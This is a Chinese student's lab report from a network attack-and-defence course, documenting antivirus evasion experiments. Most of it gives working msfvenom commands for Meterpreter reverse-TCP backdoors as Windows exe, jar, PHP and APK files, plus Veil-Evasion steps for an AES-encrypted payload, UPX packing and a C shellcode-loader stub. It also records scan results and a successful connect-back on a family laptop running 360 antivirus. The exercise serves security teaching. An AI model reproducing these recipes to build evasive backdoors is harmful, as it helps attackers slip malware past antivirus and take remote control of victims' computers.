2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践

2019-2020-2 20175227张雪莹《网络对抗技术》

Exp3 免杀原理与实践

目录

  • 0. 基础知识
  • 1. 实验内容
    • 1.1 方法
      • 1.1.1 正确使用msf编码器
      • 1.1.2 msfvenom生成如jar之类的其他文件
      • 1.1.3 veil
      • 1.1.4 加壳工具
      • 1.1.5 使用C + shellcode编程
      • 1.1.6 使用其他课堂未介绍方法
      • 1.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    • 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 2. 老师提问
    • 2.1 杀软是如何检测出恶意代码的?
    • 2.2 免杀是做什么?
    • 2.3 免杀的基本方法有哪些?
    • 2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 3. 所遇到的问题及其解决方法
    • 3.1 问题1
    • 3.2 问题2
    • 3.3 问题3
  • 4. 实验感想
  • 5. 参考资料

0. 基础知识

0.1 免杀
  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
  • 基于特征码的检测

    • 重要的就是,恶意软件的检测,并不是比对整个文件,
    • 而只能只其中一个或几个片断作为识别依据。
    • 这就是最简单的特征码,或“signature”。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    优点: 可以检测0-day恶意软件 具有一定通用性 缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
  • 改变特征码
    • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

返回目录

1. 实验内容

1.1 方法
1.1.1 正确使用msf编码器
  • 关于网站VirSCAN和Virus Total
    • 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
  • 在kali终端中,输入msfvenom查看该命令的参数详情,选用msfvenom -l encoders查看编码器情况。

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第1张图片

  • 将实验2生成的后门程序zxy_20175227_backdoor.exe分别上传至两个网站进行筛查,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第2张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第3张图片

  • 可以看出,未经过编码的后门程序很容易就给杀软监测到了。

  • 下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:

    • 在kali中进入/usr/share/metasploit-framework/modules/payloads/stagers/windows文件夹,用ls查看Windows平台下的连接方式

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第4张图片

  • 进入/usr/share/metasploit-framework/modules/encoders/x86文件夹,用ls查看x86的编码方式
  • 这里我们选用TCP连接方式和shikata_ga_nai 编码方式
  • 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST= LPORT=5227 -f exe > zxyexptriBD.exe

-p 后面参数分别是:平台/软件/连接方式 -e 后面参数是:编码器类型 -b 后面参数是:减去16进制的0 -f 后面参数是:输出后门的格式(文件类型) -i 后面参数是:编码的迭代次数

  • 分别在两个网站中扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第5张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第6张图片

  • 由此可见,多次编码对于免杀没啥效果
    • 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
    • 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
  • 生成Java后门程序
    • 在Kali中,使用msfvenom -p java/meterpreter/reverse_tcp lhost= lport=5227 x> zxy175227_backdoor_java.jar,生成jar文件,上传至两个平台扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第7张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第8张图片

  • 可以看出,虽然都还是危险,但是检测成功几率有所下降。
  • 生成PHP后门程序
    • 使用msfvenom -p php/meterpreter/reverse_tcp lhost= lport=5227 x> zxy175227_backdoor.php,生成php文件,上传至两个平台扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第9张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第10张图片

竟然!两个平台检测率都超低,甚至建议我谨慎使用!

  • 生成Android后门程序
    • 在Kali中,使用msfvenom -p android/meterpreter/reverse_tcp lhost= lport=5227 x> zxy175227_backdoor.apk,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第11张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第12张图片

其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。

1.1.3 veil
  • 安装过程,我是参考学姐的博文,在此不再赘述。
  • 安装成功的截图如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第13张图片

  • 输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,应当输入ip_of_linuxset LHOST 192.168.160.131
  • 设置端口:set LPORT 5227
  • 输入generate生成后门程序文件,而后输入其名字,我这里是:veilzxy
  • 生成成功截图如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第14张图片

  • 根据它的提示,进入/var/lib/veil/output/compiled/中即可找到所生成的后门程序:veilzxy.exe
  • 把它复制到主机,可见杀软报警:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第15张图片

  • 上传至两个平台进行扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第16张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第17张图片

之前看到学长学姐的还算挺成功的,现在的检出率虽然不高但没有php文件低,魔高一尺道高一丈。

1.1.4 加壳工具
  • 压缩壳
    • zxy175227.exe加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
    • 测试可用性

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第18张图片

  • zxy175227.upxed.exe复制到主机,被杀软监测到,如下图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第19张图片

  • 将该文件信任后,上传至两个平台进行扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第20张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第21张图片

其中有一个网站检出率由危险转警告了。

  • 对veil生成的后门veilzxy.exe加壳,拷贝到主机(我的杀软没有检测到威胁诶),上传到两个平台检测,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第22张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第23张图片

  • 也还行吧,检出率不高,但还是危险。
1.1.5 使用C + shellcode编程
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c生成C语言下的shellcode数组,如下图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第24张图片

  • 创建zxy175227.c,代码内容如下:
unsigned char buf[] = 
"shellcode数组内容"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
  • 测试可用性

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第25张图片

  • 将其复制到主机,杀软将其查杀,如下图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第26张图片

  • 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第27张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第28张图片

  • 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法
  • 这里用一个Veil-Evasion的其他荷载生成后门方式
    • 启动veil,进入evasion,输入list查看可用的有效荷载,如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第29张图片

  • 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
  • 输入option,查看有效荷载的选项,如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第30张图片

  • 从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。例如:编译后生成文件的格式有效期,并是否进行加密做出配置。

  • 我这里只配置了用户名,然后就generate生成了.

    • 之后它会提示你输入想要选择的shellcode平台,选择2msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 输入靶机OS/平台/连接方式,默认的,回车就行
    • 输入metasploit荷载,同上
    • 输入反弹连接IP(ip_of_linux)和端口号
    • 其他msfvenom选项默认,回车就行

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第31张图片

  • 输入创建的shellocode的名字,这里是zxyaespy
  • 生成的文件类型选择2,生成一个exe文件

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第32张图片

  • 可以看见exe文件已经生成,是setup.pyrunme.bat,在/var/lib/veil/output/source/
  • 同时新生成的 shellcode 的 rc 文件也被保存在了 veil-output 下的 handlers,打开查看后,是在msfconsole中需要输的指令,如图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第33张图片

  • 测试可用性

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第34张图片

  • 复制到主机的时候,杀软没有监测到,上传至两个平台扫描,结果如下:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第35张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第36张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第37张图片

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第38张图片

两个文件在两个网站扫描都通过了,惊了

返回目录

1.2 通过组合应用各种技术实现恶意代码免杀
  • 采用C语言调用bloxor编码的shellcode+加壳方式免杀
  • 杀软:火绒安全5.0.40.7
  • 系统:win10
    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.160.131 LPORT=5227 -f c生成shellcode数组,
    • 把它复制到主机用codeblocks编译得到exe文件
    • 在Linux中用upx zxy_bloxor.exe -o zxy_bloxor_upxed.exe对上一步得到的exe进行加壳,得到的zxy_bloxor_upxed.exe复制到主机,还是被杀软检测到了.

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第39张图片

返回目录

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 免杀方法:C语言调用bloxor编码的shellcode+加壳
  • 免杀环境:用父亲的笔记本,系统是Windows7,杀软是360卫士11.0.0.2001
    • 免杀失败

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第40张图片

  • 反弹连接

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第41张图片

返回目录

2. 老师提问

2.1 杀软是如何检测出恶意代码的?
  • 回答:根据特征码,或者是一些特征的片段,监控某个进程的行为,一旦发现和已记录的病毒特征相符合就杀掉,或者一旦有一些非法行为如获取shell就杀掉。
2.2 免杀是做什么?
  • 回答:对恶意软件做一些处理,使得恶意软件得特征淡化,从而不被杀软监测到。
2.3 免杀的基本方法有哪些?
  • 回答:
    • 改变特征码:加壳,用encoder进行编码,重新编译生成可执行文件,与其他可执行文件捆绑。
    • 改变行为:反弹连接,使用隧道技术,加密通讯,加入混淆功能的正常功能代码。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 回答:答案肯定是否定的。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

返回目录

3. 所遇到的问题及其解决方法

3.1 问题1
  • 描述:安装veil的时候出现错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2提示,导致安装失败

  • 解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下sources.list,然后重新安装veil后成功。

3.2 问题2
  • 描述:安装veil失败,提示没有检测到Wine环境,根据同学在云班课的提示进行重装后,执行veil生成后门的操作没有输出文件,如图:

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践_第42张图片

  • 解决办法:一开始以为veil找不到wine的路径,添加了wine32的环境变量,但是不行。而后在网上看到一位网友提示,Wine Gecko下载之后需要安装,而我只进行了wget下载。所以将两个Gecko文件移到有wine文件的目录下(这里是/usr/lib/wine),然后分别输入命令
wine   msiexec /i  wine-mono-4.9.4.msi
wine   msiexec /i  wine_gecko-2.47-x86_64.msi
  • 之后正常进行veil生成后门的操作即可(如果操作仍然被拒绝,可以用sudo -s进入root权限使用veil)。

Tips:输入这两个命令时,它会提示你找不到注册表密钥错误,此时忽略它就行。

返回目录

4. 实验感想

  • 在这次实验中,安装veil的过程显得尤为艰辛,从老师第一次讲课开始一直试到昨天,一个多星期,醉了……下载的过程很慢,安装的过程也很慢,安装好了使用时提示出错,网上资料也很少,全靠对有效信息的个人解读+碰运气实践。但是在这一过程中,我对wine环境的配置过程,所依赖的其他部件有了一个认识,知道了他是使Linux兼容Windows下软件的环境,还挺有收获的。通过对免杀的学习,自己突然有了一点点成就感,自己可以像黑客一样骗过杀软;但另一方面,还是和上一次实验的体会一样,对后门还是有了惧怕之心,导致自己天天拿着手机都怀疑地球那边有个人通过我的手机前置偷看我……

返回目录

5.参考资料

  • https://blog.csdn.net/u014549283/article/details/81670622
  • https://www.cnblogs.com/jinanxiaolaohu/p/12191576.html
  • https://www.fujieace.com/kali-linux/veil-evasion.html

返回目录

你可能感兴趣的:(2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践)